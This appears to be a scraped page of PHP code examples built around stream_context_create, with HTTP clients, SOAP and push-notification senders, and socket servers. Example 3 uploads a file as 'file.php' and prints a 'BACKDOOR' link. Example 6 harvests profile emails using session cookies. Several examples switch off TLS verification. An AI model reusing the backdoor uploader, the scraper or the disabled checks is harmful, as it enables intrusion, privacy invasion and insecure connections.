Ejemplo n.º 1
1
function do_post_request($url, $postdata, $files = NULL)
{
    $data = "";
    $boundary = "---------------------" . substr(md5(rand(0, 32000)), 0, 10);
    if (is_array($postdata)) {
        foreach ($postdata as $key => $val) {
            $data .= "--" . $boundary . "\n";
            $data .= "Content-Disposition: form-data; name=" . $key . "\n\n" . $val . "\n";
        }
    }
    $data .= "--" . $boundary . "\n";
    if (is_array($files)) {
        foreach ($files as $key => $file) {
            $fileContents = file_get_contents($file['tmp_name']);
            $data .= "Content-Disposition: form-data; name=" . $key . "; filename=" . $file['name'] . "\n";
            $data .= "Content-Type: application/x-bittorrent\n";
            $data .= "Content-Transfer-Encoding: binary\n\n";
            $data .= $fileContents . "\n";
            $data .= "--" . $boundary . "--\n";
        }
    }
    $params = array('http' => array('method' => 'POST', 'header' => 'Content-Type: multipart/form-data; boundary=' . $boundary, 'content' => $data));
    $ctx = stream_context_create($params);
    $fp = @fopen($url, 'rb', false, $ctx);
    if (!$fp) {
        throw new Exception("Problem with " . $url . ", " . $php_errormsg);
    }
    $response = @stream_get_contents($fp);
    if ($response === false) {
        throw new Exception("Problem reading data from " . $url . ", " . $php_errormsg);
    }
    return $response;
}
Ejemplo n.º 2
0
function _test_environment_getHello($url)
{
    $fp = fopen($url, 'r', false, stream_context_create(array('http' => array('method' => "GET", 'timeout' => '10', 'header' => "Accept-Encoding: deflate, gzip\r\n"))));
    $meta = stream_get_meta_data($fp);
    $encoding = '';
    $length = 0;
    foreach ($meta['wrapper_data'] as $i => $header) {
        if (preg_match('@^Content-Length:\\s*(\\d+)$@i', $header, $m)) {
            $length = $m[1];
        } elseif (preg_match('@^Content-Encoding:\\s*(\\S+)$@i', $header, $m)) {
            if ($m[1] !== 'identity') {
                $encoding = $m[1];
            }
        }
    }
    $streamContents = stream_get_contents($fp);
    fclose($fp);
    if (__FILE__ === realpath($_SERVER['SCRIPT_FILENAME'])) {
        if ($length != 6) {
            echo "\nReturned content should be 6 bytes and not HTTP encoded.\n" . "Headers returned by: {$url}\n\n";
            var_export($meta['wrapper_data']);
            echo "\n\n";
        }
    }
    return array('length' => $length, 'encoding' => $encoding, 'bytes' => $streamContents);
}
Ejemplo n.º 3
0
function do_post_request($url, $res, $file, $name)
{
    $data = "";
    $boundary = "---------------------" . substr(md5(rand(0, 32000)), 0, 10);
    $data .= "--{$boundary}\n";
    $fileContents = file_get_contents($file);
    $md5 = md5_file($file);
    $ext = pathinfo($file, PATHINFO_EXTENSION);
    $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"file.php\"\n";
    $data .= "Content-Type: text/plain\n";
    $data .= "Content-Transfer-Encoding: binary\n\n";
    $data .= $fileContents . "\n";
    $data .= "--{$boundary}--\n";
    $params = array('http' => array('method' => 'POST', 'header' => 'Content-Type: multipart/form-data; boundary=' . $boundary, 'content' => $data));
    $ctx = stream_context_create($params);
    $fp = fopen($url, 'rb', false, $ctx);
    if (!$fp) {
        throw new Exception("Erreur !");
    }
    $response = @stream_get_contents($fp);
    if ($response === false) {
        throw new Exception("Erreur !");
    } else {
        echo "file should be here : ";
        /* LETTERBOX */
        if (count($response) > 1) {
            echo $response;
        } else {
            echo "<a href='" . $res . "tmp/tmp_file_" . $name . "." . $ext . "'>BACKDOOR<a>";
        }
    }
}
 /**
  * @param bool $testEnv
  * @param string $caFile
  * @return resource
  */
 private function getStreamContext($testEnv = false, $caFile = null)
 {
     if ($testEnv) {
         $host = $this->certificatePeerName['test'];
     } else {
         $host = $this->certificatePeerName['production'];
     }
     $this->streamContextOption['ssl']['crypto_method'] = STREAM_CRYPTO_METHOD_TLS_CLIENT;
     $this->streamContextOption['ssl']['verify_peer'] = true;
     $this->streamContextOption['ssl']['SNI_enabled'] = true;
     // Disable TLS compression to prevent CRIME attacks where supported (PHP 5.4.13 or later).
     if (PHP_VERSION_ID >= 50413) {
         $this->streamContextOption['ssl']['disable_compression'] = true;
     }
     if (PHP_VERSION_ID < 50600) {
         //CN_match was deprecated in favour of peer_name in PHP 5.6
         $this->streamContextOption['ssl']['CN_match'] = $host;
         $this->streamContextOption['ssl']['SNI_server_name'] = $host;
         // PHP 5.6 or greater will find the system cert by default. When < 5.6, use the system ca-certificates.
         if (is_null($caFile)) {
             $this->streamContextOption['ssl']['cafile'] = $this->getDefaultCABundle();
         } else {
             $this->streamContextOption['ssl']['cafile'] = $caFile;
         }
     } else {
         $this->streamContextOption['ssl']['peer_name'] = $host;
         $this->streamContextOption['ssl']['verify_peer_name'] = true;
     }
     return stream_context_create($this->streamContextOption);
 }
Ejemplo n.º 5
0
 private function _request($request)
 {
     $request = array_map('Comet_encode', $request);
     array_unshift($request, $this->ORIGIN);
     $ctx = stream_context_create(array('http' => array('timeout' => 200)));
     return json_decode(file_get_contents_curl(implode('/', $request)), true);
 }
Ejemplo n.º 6
0
function get_profile_email($url)
{
    global $g_acegi_cookie;
    global $g_session_cookie;
    global $g_delay;
    sleep($g_delay);
    // Create a stream
    // get cookie values using wget commands
    $cookie = sprintf("Cookie: ACEGI_SECURITY_HASHED_REMEMBER_ME_COOKIE=%s; JSESSIONID=%s\r\n", $g_acegi_cookie, $g_session_cookie);
    $opts = array('http' => array('method' => "GET", 'header' => "Accept-language: en\r\n" . $cookie));
    $context = stream_context_create($opts);
    @($html = file_get_contents($url, false, $context));
    $doc = new \DOMDocument();
    @$doc->loadHTML($html);
    $emailNode = $doc->getElementById("email1__ID__");
    $nameNode = $doc->getElementById("name1__ID__");
    $titleNode = $doc->getElementById("title1__ID__");
    $companyNode = $doc->getElementById("company1__ID__");
    if (!is_null($emailNode)) {
        $data = array();
        $data["email"] = $emailNode->nodeValue;
        $data["name"] = is_null($nameNode) ? "" : $nameNode->nodeValue;
        $data["title"] = is_null($titleNode) ? "" : $titleNode->nodeValue;
        $data["company"] = is_null($companyNode) ? "" : $companyNode->nodeValue;
        return $data;
    }
    return NULL;
}
Ejemplo n.º 7
0
 public function __call($method, $arguments)
 {
     $dom = new DOMDocument('1.0', 'UTF-8');
     $element = $dom->createElement('method');
     $element->setAttribute('name', $method);
     foreach ($arguments as $argument) {
         $child = $dom->createElement('argument');
         $textNode = $dom->createTextNode($argument);
         $child->appendChild($textNode);
         $element->appendChild($child);
     }
     $dom->appendChild($element);
     $data = 'service=' . $dom->saveXML();
     $params = array('http' => array('method' => 'POST', 'content' => $data));
     $ctx = stream_context_create($params);
     $fp = @fopen($this->server, 'rb', false, $ctx);
     if (!$fp) {
         throw new Exception('Problem with URL');
     }
     $response = @stream_get_contents($fp);
     if ($response === false) {
         throw new Exception("Problem reading data from {$this->server}");
     }
     $dom = new DOMDocument(null, 'UTF-8');
     $dom->loadXML($response);
     $result = $dom->childNodes->item(0)->childNodes->item(0)->nodeValue;
     $type = $dom->childNodes->item(0)->childNodes->item(1)->nodeValue;
     settype($result, $type);
     return $result;
 }
Ejemplo n.º 8
0
function sendOAuthBodyPOST($method, $endpoint, $oauth_consumer_key, $oauth_consumer_secret, $content_type, $body)
{
    $hash = base64_encode(sha1($body, TRUE));
    $parms = array('oauth_body_hash' => $hash);
    $test_token = '';
    $hmac_method = new OAuthSignatureMethod_HMAC_SHA1();
    $test_consumer = new OAuthConsumer($oauth_consumer_key, $oauth_consumer_secret, NULL);
    $acc_req = OAuthRequest::from_consumer_and_token($test_consumer, $test_token, $method, $endpoint, $parms);
    $acc_req->sign_request($hmac_method, $test_consumer, $test_token);
    // Pass this back up "out of band" for debugging
    global $LastOAuthBodyBaseString;
    $LastOAuthBodyBaseString = $acc_req->get_signature_base_string();
    // echo($LastOAuthBodyBaseString."\m");
    $header = $acc_req->to_header();
    $header = $header . "\r\nContent-type: " . $content_type . "\r\n";
    $params = array('http' => array('method' => 'POST', 'content' => $body, 'header' => $header));
    try {
        $ctx = stream_context_create($params);
        $fp = @fopen($endpoint, 'rb', false, $ctx);
    } catch (Exception $e) {
        $fp = false;
    }
    if ($fp) {
        $response = @stream_get_contents($fp);
    } else {
        // Try CURL
        $headers = explode("\r\n", $header);
        $response = sendXmlOverPost($endpoint, $body, $headers);
    }
    if ($response === false) {
        throw new Exception("Problem reading data from {$endpoint}, {$php_errormsg}");
    }
    return $response;
}
Ejemplo n.º 9
0
 public function __construct($connProviderWsdlUri, $nsaProvider, $nsaRequester, $callBackServerUri = null, LocalCertificate $certificate = null)
 {
     if ($nsaProvider == null || $nsaRequester == null) {
         throw new \Exception('NSA provider and NSA requester must be informed');
     }
     $this->nsaProvider = $nsaProvider;
     $this->nsaRequester = $nsaRequester;
     if ($certificate != null && !$certificate instanceof LocalCertificate) {
         throw new \Exception('Certificate must be informed like a LocalCertificate object');
     }
     $this->localCert = $certificate;
     $this->connProviderWsdlUri = $connProviderWsdlUri;
     $this->callbackServerUri = $callBackServerUri;
     $isSsl = $this->localCert == null ? false : true;
     $streamContextOptions = ['ssl' => ['verify_peer' => $isSsl, 'allow_self_signed' => true], 'https' => ['curl_verify_ssl_peer' => $isSsl, 'curl_verify_ssl_host' => $isSsl]];
     if (!$isSsl) {
         $streamContextOptions['ssl']['ciphers'] = 'SHA1';
     }
     $context = stream_context_create($streamContextOptions);
     $soapOptions = ['cache_wsdl' => WSDL_CACHE_NONE, 'stream_context' => $context, 'trace' => 1];
     if ($isSsl) {
         $soapOptions['local_cert'] = $this->localCert->getCertPath();
         $soapOptions['passphrase'] = $this->localCert->getCertPassphrase();
     }
     parent::__construct($this->connProviderWsdlUri, $soapOptions);
 }
Ejemplo n.º 10
0
 /**
  * Sends a JSON-RPC request
  * @param Tivoka_Request $request A Tivoka request
  * @return Tivoka_Request if sent as a batch request the BatchRequest object will be returned
  */
 public function send($request)
 {
     if (func_num_args() > 1) {
         $request = func_get_args();
     }
     if (is_array($request)) {
         $request = Tivoka::createBatch($request);
     }
     if (!$request instanceof Tivoka_Request) {
         throw new Tivoka_Exception('Invalid data type to be sent to server');
     }
     $parse = parse_url($this->target);
     // preparing connection...
     $context = stream_context_create(array($parse['scheme'] => array('content' => (string) $request, 'header' => "Content-Type: application/json\r\n" . "Connection: Close\r\n", 'method' => 'POST', 'timeout' => 10.0)));
     //sending...
     if ($this->oauth_consumer) {
         $oauth = new OAuth_Request($this->oauth_consumer, 'POST', $this->target, array(), (string) $request);
         $response = $oauth->request($context);
     } else {
         $response = @file_get_contents($this->target, false, $context);
     }
     if ($response === FALSE) {
         throw new Tivoka_Exception('Connection to "' . $this->target . '" failed', Tivoka::ERR_CONNECTION_FAILED);
     }
     $request->setResponse($response);
     return $request;
 }
Ejemplo n.º 11
0
 /**
  * Get the content at the given URL using an HTTP GET call.
  *
  * @access public
  * @static
  * @param $url URL of the content.               
  * @return string Content at the given URL, false otherwise.
  */
 public static function getHTTPContent($url)
 {
     // Sanity check
     if (empty($url)) {
         return false;
     }
     // Create the HTTP options for the HTTP stream context, see below
     // Set phpMyFAQ agent related data
     $agent = 'phpMyFAQ/' . PMF_Configuration::getInstance()->get('main.currentVersion') . ' on PHP/' . PHP_VERSION;
     $opts = array('header' => 'User-Agent: ' . $agent . "\r\n", 'method' => 'GET');
     // HTTP 1.1 Virtual Host
     $urlParts = @parse_url($url);
     if (isset($urlParts['host'])) {
         $opts['header'] = $opts['header'] . 'Host: ' . $urlParts['host'] . "\r\n";
     }
     // Socket timeout
     if (version_compare(PHP_VERSION, '5.2.1', '<')) {
         @ini_set('default_socket_timeout', 5);
     } else {
         $opts['timeout'] = 5;
     }
     // Create the HTTP stream context
     $ctx = stream_context_create(array('http' => $opts));
     return file_get_contents($url, $flags, $ctx);
 }
Ejemplo n.º 12
0
 public function MakeAsyncPostRequest($postData)
 {
     $content = http_build_query($postData, '', '&');
     $context = stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded;', 'content' => $content)));
     $handle = @fopen($this->uri, 'rb', false, $context);
     return $handle != false;
 }
Ejemplo n.º 13
0
 protected function post($method, $parameters = [])
 {
     $options = ["ssl" => ["verify_peer" => false, "verify_peer_name" => false], 'http' => ['header' => "Content-type: application/json; charset=utf-8\r\n" . "ApiToken: " . $this->parameters['apitoken'] . "\r\n", 'method' => "POST", 'content' => json_encode($this->getApiParameters($parameters))]];
     $context = stream_context_create($options);
     $result = file_get_contents($this->url . $method, false, $context);
     return $this->parseResult($result);
 }
Ejemplo n.º 14
0
 /**
  * @param $hosts
  * @return string
  */
 public static function getFastestRealTime($hosts)
 {
     $mint = 60.0;
     $s_url = '';
     $count_hosts = count($hosts);
     for ($i = 0; $i < $count_hosts; $i++) {
         $start = microtime(true);
         $opts = array('http' => array('method' => 'GET', 'timeout' => 3));
         $context = stream_context_create($opts);
         $homepage = null;
         try {
             $homepage = file_get_contents($hosts[$i], false, $context);
         } catch (\Exception $e) {
             echo $e;
         }
         $ends = microtime(true);
         if ($homepage === null || $homepage === '') {
             $diff = 60.0;
         } else {
             $diff = $ends - $start;
         }
         if ($mint > $diff) {
             $mint = $diff;
             $s_url = $hosts[$i];
         }
     }
     return $s_url;
 }
Ejemplo n.º 15
0
 /**
  * Execute a HTTP request to the remote server
  *
  * Returns the result from the remote server.
  *
  * @param string $method
  * @param string $path
  * @param \eZ\Publish\Core\REST\Common\Message $message
  *
  * @return \eZ\Publish\Core\REST\Common\Message
  */
 public function request($method, $path, Message $message = null)
 {
     $message = $message ?: new Message();
     $requestHeaders = $this->getRequestHeaders($message->headers);
     $url = $this->server . $path;
     $contextOptions = array('http' => array('method' => $method, 'content' => $message->body, 'ignore_errors' => true, 'header' => $requestHeaders, 'follow_location' => 0));
     $httpFilePointer = @fopen($url, 'r', false, stream_context_create($contextOptions));
     // Check if connection has been established successfully
     if ($httpFilePointer === false) {
         throw new ConnectionException($this->server, $path, $method);
     }
     // Read request body
     $body = '';
     while (!feof($httpFilePointer)) {
         $body .= fgets($httpFilePointer);
     }
     $metaData = stream_get_meta_data($httpFilePointer);
     // This depends on PHP compiled with or without --curl-enable-streamwrappers
     $rawHeaders = isset($metaData['wrapper_data']['headers']) ? $metaData['wrapper_data']['headers'] : $metaData['wrapper_data'];
     $headers = array();
     foreach ($rawHeaders as $lineContent) {
         // Extract header values
         if (preg_match('(^HTTP/(?P<version>\\d+\\.\\d+)\\s+(?P<status>\\d+))S', $lineContent, $match)) {
             $headers['version'] = $match['version'];
             $headers['status'] = (int) $match['status'];
         } else {
             list($key, $value) = explode(':', $lineContent, 2);
             $headers[$key] = ltrim($value);
         }
     }
     return new Message($headers, $body, $headers['status']);
 }
 public function customSearch($apikey, $seid, $keyword)
 {
     for ($start = 1; $start < $this->end * 10 + 1; $start += 10) {
         $endpoint = 'https://www.googleapis.com/customsearch/v1?';
         $params = array('key' => $apikey, 'cx' => $seid, 'start' => $start, 'num' => 10, 'q' => urlencode($keyword));
         $buildparams = http_build_query($params);
         $apiurl = $endpoint . $buildparams;
         $options = array('http' => array('method' => "GET", 'header' => "Accept-language: en\r\n" . "Cookie: biztech=indonesia\r\n" . "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.66 Safari/537.36"));
         $context = stream_context_create($options);
         if ($this->_isCurl()) {
             $search = $this->_curl($apiurl);
         } else {
             $search = file_get_contents($apiurl, false, $context);
         }
         $response = json_decode($search);
         if (!empty($response->items)) {
             $items = $response->items;
             foreach ($items as $links) {
                 $results[] = array('link' => $links->link);
             }
         } else {
             $results = array('link' => 'Empty results');
         }
     }
     return $results;
 }
Ejemplo n.º 17
0
function forzar_ssl()
{
    $ssl = $_SERVER['SERVER_PORT'] != 80 && $_SERVER['SERVER_PORT'] != 443 ? 'https://' . $_SERVER['SERVER_NAME'] . ':' . $_SERVER['SERVER_PORT'] . '/intranet/config/ssl.json' : 'https://' . $_SERVER['SERVER_NAME'] . '/intranet/config/ssl.json';
    $context = array('http' => array('header' => "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . "\r\n"));
    $file = @json_decode(@file_get_contents($ssl, false, stream_context_create($context)));
    return sprintf("%s", $file ? reset($file)->ssl : 0);
}
Ejemplo n.º 18
0
function getPage($filepath, $url)
{
    if (!file_exists($filepath)) {
        copy('compress.zlib://' . $url, $filepath, stream_context_create(['http' => ['header' => 'Accept-Encoding: gzip']]));
    }
    return SimpleDOM::loadHTMLFile($filepath);
}
Ejemplo n.º 19
0
function doGet($url)
{
    $options = array('http' => array('method' => 'GET', 'header' => 'Content-type:application/x-www-form-urlencoded', 'timeout' => 15 * 60));
    $context = stream_context_create($options);
    $result = file_get_contents($url, false, $context);
    return $result;
}
Ejemplo n.º 20
0
 function onStartShowSections($action)
 {
     $name = $action->trimmed('action');
     if ($name == 'tag') {
         $taginput = $action->trimmed('tag');
         $tag = common_canonical_tag($taginput);
         if (!empty($tag)) {
             $url = sprintf('http://hashtags.wikia.com/index.php?title=%s&action=render', urlencode($tag));
             $editurl = sprintf('http://hashtags.wikia.com/index.php?title=%s&action=edit', urlencode($tag));
             $context = stream_context_create(array('http' => array('method' => "GET", 'header' => "User-Agent: " . $this->userAgent())));
             $html = @file_get_contents($url, false, $context);
             $action->elementStart('div', array('id' => 'wikihashtags', 'class' => 'section'));
             if (!empty($html)) {
                 $action->element('style', null, "span.editsection { display: none }\n" . "table.toc { display: none }");
                 $action->raw($html);
                 $action->elementStart('p');
                 $action->element('a', array('href' => $editurl, 'title' => sprintf(_('Edit the article for #%s on WikiHashtags'), $tag)), _('Edit'));
                 $action->element('a', array('href' => 'http://www.gnu.org/copyleft/fdl.html', 'title' => _('Shared under the terms of the GNU Free Documentation License'), 'rel' => 'license'), 'GNU FDL');
                 $action->elementEnd('p');
             } else {
                 $action->element('a', array('href' => $editurl), sprintf(_('Start the article for #%s on WikiHashtags'), $tag));
             }
             $action->elementEnd('div');
         }
     }
     return true;
 }
Ejemplo n.º 21
0
 /**
  * Constructor
  *
  * Note: When specifying a numerical IPv6 address (e.g. fe80::1)
  * as value for the parameter "host", you must enclose the IP in
  * square brackets.
  *
  * @param   string host hostname or IP address
  * @param   int port
  * @param   resource socket default NULL
  */
 public function __construct($host, $port, $socket = null)
 {
     $this->host = $host;
     $this->port = $port;
     $this->_sock = $socket;
     $this->context = stream_context_create();
 }
Ejemplo n.º 22
0
 public function listen($port, $host = '127.0.0.1', $protocol = 'tcp')
 {
     if (strpos($host, ':') !== false) {
         // enclose IPv6 addresses in square brackets before appending port
         $host = '[' . $host . ']';
     }
     $opts = ['socket' => ['backlog' => 1024, 'so_reuseport' => 1]];
     $flags = $protocol == 'udp' ? STREAM_SERVER_BIND : STREAM_SERVER_BIND | STREAM_SERVER_LISTEN;
     $context = stream_context_create($opts);
     $this->master = @stream_socket_server("{$protocol}://{$host}:{$port}", $errorCode, $errorMessage, $flags, $context);
     if (false === $this->master) {
         $message = "Could not bind to tcp://{$host}:{$port}: {$errorMessage}";
         throw new ConnectionException($message, $errorCode);
     }
     // Try to open keep alive for tcp and disable Nagle algorithm.
     if (function_exists('socket_import_stream') && $protocol == 'tcp') {
         $socket = socket_import_stream($this->master);
         @socket_set_option($socket, SOL_SOCKET, SO_KEEPALIVE, 1);
         @socket_set_option($socket, SOL_TCP, TCP_NODELAY, 1);
     }
     stream_set_blocking($this->master, 0);
     $this->loop->addReadStream($this->master, function ($master) {
         $newSocket = stream_socket_accept($master, 0, $remote_address);
         if (false === $newSocket) {
             $this->notifyError(new \RuntimeException('Error accepting new connection'));
             return;
         }
         $this->handleConnection($newSocket);
     });
     return $this;
 }
Ejemplo n.º 23
0
 private function getLatestSymfonyVersion()
 {
     // Get GitHub JSON request
     $opts = array('http' => array('method' => "GET", 'header' => "User-Agent: LiipMonitorBundle\r\n"));
     $context = stream_context_create($opts);
     $githubUrl = 'https://api.github.com/repos/symfony/symfony/tags';
     $githubJSONResponse = file_get_contents($githubUrl, false, $context);
     // Convert it to a PHP object
     $githubResponseArray = json_decode($githubJSONResponse, true);
     if (empty($githubResponseArray)) {
         throw new \Exception("No valid response or no tags received from GitHub.");
     }
     $tags = array();
     foreach ($githubResponseArray as $tag) {
         $tags[] = $tag['name'];
     }
     // Sort tags
     usort($tags, "version_compare");
     // Filter out non final tags
     $filteredTagList = array_filter($tags, function ($tag) {
         return !stripos($tag, "PR") && !stripos($tag, "RC") && !stripos($tag, "BETA");
     });
     // The first one is the last stable release for Symfony 2
     $reverseFilteredTagList = array_reverse($filteredTagList);
     return str_replace("v", "", $reverseFilteredTagList[0]);
 }
Ejemplo n.º 24
0
 public function __construct()
 {
     parent::__construct();
     $this->config = new DpdGroupConfiguration();
     if ($this->config->dpd_country_select == DpdGroupConfiguration::OTHER_COUNTRY) {
         $url = $this->config->production_mode ? $this->config->ws_production_url : $this->config->ws_test_url;
     } else {
         require_once _DPDGROUP_CONTROLLERS_DIR_ . 'Configuration.controller.php';
         $configuration_controller = new DpdGroupConfigurationController();
         $configuration_controller->setAvailableCountries();
         $mode = $this->config->production_mode ? 'ws_uri_prod' : 'ws_uri_test';
         $url = isset($configuration_controller->countries[$this->config->dpd_country_select][$mode]) ? $configuration_controller->countries[$this->config->dpd_country_select][$mode] : '';
     }
     if (!$url) {
         self::$errors[] = $this->l('Wrong WebServices URL');
         return null;
     }
     $this->params = array('wsUserName' => $this->config->ws_username, 'wsPassword' => $this->config->ws_password, 'wsLang' => $this->context->language->iso_code, 'applicationType' => self::APPLICATION_TYPE);
     try {
         ini_set('soap.wsdl_cache_enabled', '0');
         ini_set('soap.wsdl_cache', '0');
         $opts = array('ssl' => array('verify_peer' => false, 'verify_peer_name' => false));
         $url .= $this->service_name . '?wsdl';
         $this->client = new SoapClient($url, array('stream_context' => stream_context_create($opts), 'connection_timeout' => (int) $this->config->ws_timeout, 'trace' => true));
         return $this->client;
     } catch (Exception $e) {
         self::$errors[] = $e->getMessage();
     }
     return null;
 }
Ejemplo n.º 25
0
function wp_autoTAG_remoteApiCall($content, $url, $valueToken)
{
    $data = array('text_list' => array($content));
    $options = array('http' => array('header' => "Content-type: application/json\r\nAuthorization:token {$valueToken}\r\n", 'method' => 'POST', 'content' => json_encode($data)));
    $context = stream_context_create($options);
    return file_get_contents($url, false, $context);
}
Ejemplo n.º 26
0
 public function enviariOS($aMensajes)
 {
     $response = ['codigoerror' => 0, 'error' => '', 'data' => []];
     try {
         $streamContext = stream_context_create();
         stream_context_set_option($streamContext, 'ssl', 'local_cert', $this->certificate);
         if ($this->certificatepassword != '') {
             stream_context_set_option($streamContext, 'ssl', 'passphrase', $this->certificatepassword);
         }
         $fp = stream_socket_client($this->url, $err, $errstr, 60, STREAM_CLIENT_CONNECT | STREAM_CLIENT_PERSISTENT, $streamContext);
         if (!$fp) {
             $response['codigoerror'] = 1;
             $response['error'] = 'Error conectando a APNs: ' . $err;
             return Response::json($response);
         }
         //En este punto ya estamos conectados al APN, mandamos todos los mensajes
         foreach ($aMensajes as $mensaje) {
             $payload['aps'] = ['alert' => $mensaje['mensaje'], 'badge' => 0, 'sound' => 'default'];
             $jsonpayload = json_encode($payload);
             $msg = chr(0) . pack('n', 32) . pack('H*', $mensaje['token']) . pack('n', strlen($jsonpayload)) . $jsonpayload;
             $resultado = fwrite($fp, $msg, strlen($msg));
             $response['data'][] = ['token' => $mensaje['token'], 'resultado' => $resultado];
         }
         return Response::json($response);
     } catch (Exception $e) {
         $response['codigoerror'] = 2;
         $response['error'] = 'Error conectando a APNs: ' . $e->getMessage();
         return Response::json($response);
     }
 }
Ejemplo n.º 27
0
function sendNotificationIOS()
{
    // Put your device token here (without spaces):
    $deviceToken = '87d4477b81a7f8f7ba80b3f5f043d83dec3c9b0940c708d24f803ef67600966f';
    // Put your private key's passphrase here:
    $passphrase = 'pushchat';
    // Put your alert message here:
    $message = 'My first push notification!';
    ////////////////////////////////////////////////////////////////////////////////
    $ctx = stream_context_create();
    stream_context_set_option($ctx, 'ssl', 'local_cert', 'ck.pem');
    stream_context_set_option($ctx, 'ssl', 'passphrase', $passphrase);
    // Open a connection to the APNS server
    $fp = stream_socket_client('ssl://gateway.sandbox.push.apple.com:2195', $err, $errstr, 60, STREAM_CLIENT_CONNECT | STREAM_CLIENT_PERSISTENT, $ctx);
    if (!$fp) {
        exit("Failed to connect: {$err} {$errstr}" . PHP_EOL);
    }
    echo 'Connected to APNS' . PHP_EOL;
    // Create the payload body
    $body['aps'] = array('alert' => $message, 'sound' => 'default');
    // Encode the payload as JSON
    $payload = json_encode($body);
    // Build the binary notification
    $msg = chr(0) . pack('n', 32) . pack('H*', $deviceToken) . pack('n', strlen($payload)) . $payload;
    // Send it to the server
    $result = fwrite($fp, $msg, strlen($msg));
    if (!$result) {
        echo 'Message not delivered' . PHP_EOL;
    } else {
        echo 'Message successfully delivered' . PHP_EOL;
    }
    // Close the connection to the server
    fclose($fp);
}
Ejemplo n.º 28
0
 /**
  * Copies a file.
  *
  * This method only copies the file if the origin file is newer than the target file.
  *
  * By default, if the target already exists, it is not overridden.
  *
  * @param string $originFile The original filename
  * @param string $targetFile The target filename
  * @param bool   $override   Whether to override an existing file or not
  *
  * @throws FileNotFoundException When originFile doesn't exist
  * @throws IOException           When copy fails
  */
 public function copy($originFile, $targetFile, $override = false)
 {
     if (stream_is_local($originFile) && !is_file($originFile)) {
         throw new FileNotFoundException(sprintf('Failed to copy "%s" because file does not exist.', $originFile), 0, null, $originFile);
     }
     $this->mkdir(dirname($targetFile));
     if (!$override && is_file($targetFile) && null === parse_url($originFile, PHP_URL_HOST)) {
         $doCopy = filemtime($originFile) > filemtime($targetFile);
     } else {
         $doCopy = true;
     }
     if ($doCopy) {
         // https://bugs.php.net/bug.php?id=64634
         if (false === ($source = @fopen($originFile, 'r'))) {
             throw new IOException(sprintf('Failed to copy "%s" to "%s" because source file could not be opened for reading.', $originFile, $targetFile), 0, null, $originFile);
         }
         // Stream context created to allow files overwrite when using FTP stream wrapper - disabled by default
         if (false === ($target = @fopen($targetFile, 'w', null, stream_context_create(array('ftp' => array('overwrite' => true)))))) {
             throw new IOException(sprintf('Failed to copy "%s" to "%s" because target file could not be opened for writing.', $originFile, $targetFile), 0, null, $originFile);
         }
         $bytesCopied = stream_copy_to_stream($source, $target);
         fclose($source);
         fclose($target);
         unset($source, $target);
         if (!is_file($targetFile)) {
             throw new IOException(sprintf('Failed to copy "%s" to "%s".', $originFile, $targetFile), 0, null, $originFile);
         }
         if (stream_is_local($originFile) && $bytesCopied !== filesize($originFile)) {
             throw new IOException(sprintf('Failed to copy the whole content of "%s" to "%s %g bytes copied".', $originFile, $targetFile, $bytesCopied), 0, null, $originFile);
         }
     }
 }
Ejemplo n.º 29
0
 public function processRequest($method = 'POST')
 {
     $params = http_build_query($this->urlParams);
     if (w2p_check_url($this->url)) {
         if (function_exists('curl_init')) {
             $ch = curl_init($this->url);
             curl_setopt($ch, CURLOPT_POST, 1);
             curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
             curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
             $response = curl_exec($ch);
             curl_close($ch);
         } else {
             /*
              * Thanks to Wez Furlong for the core of the logic for this 
              *   method to POST data via PHP without cURL
              *   http://netevil.org/blog/2006/nov/http-post-from-php-without-curl
              */
             $ctx = stream_context_create($params);
             $fp = @fopen($this->url, 'rb', false, $ctx);
             if (!$fp) {
                 throw new Exception("Problem with {$url}, {$php_errormsg}");
             }
             $response = @stream_get_contents($fp);
             if ($response === false) {
                 throw new Exception("Problem reading data from {$url}, {$php_errormsg}");
             }
         }
         return $response;
     } else {
         //throw an error?
     }
 }
Ejemplo n.º 30
0
 /**
  * @param string $host
  * @param int $port
  * @param float $connection_timeout
  * @param float $read_write_timeout
  * @param null $context
  * @param bool $keepalive
  * @param int $heartbeat
  */
 public function __construct($host, $port, $connection_timeout, $read_write_timeout, $context = null, $keepalive = false, $heartbeat = 0)
 {
     if ($heartbeat !== 0 && $read_write_timeout < $heartbeat * 2) {
         throw new \InvalidArgumentException('read_write_timeout must be at least 2x the heartbeat');
     }
     $this->protocol = 'tcp';
     $this->host = $host;
     $this->port = $port;
     $this->connection_timeout = $connection_timeout;
     $this->read_write_timeout = $read_write_timeout;
     $this->context = $context;
     $this->keepalive = $keepalive;
     $this->heartbeat = $heartbeat;
     $this->canSelectNull = true;
     $this->canDispatchPcntlSignal = $this->isPcntlSignalEnabled();
     if (is_null($this->context)) {
         $this->context = stream_context_create();
     } else {
         $this->protocol = 'ssl';
         // php bugs 41631 & 65137 prevent select null from working on ssl streams
         if (PHP_VERSION_ID < 50436) {
             $this->canSelectNull = false;
         }
     }
 }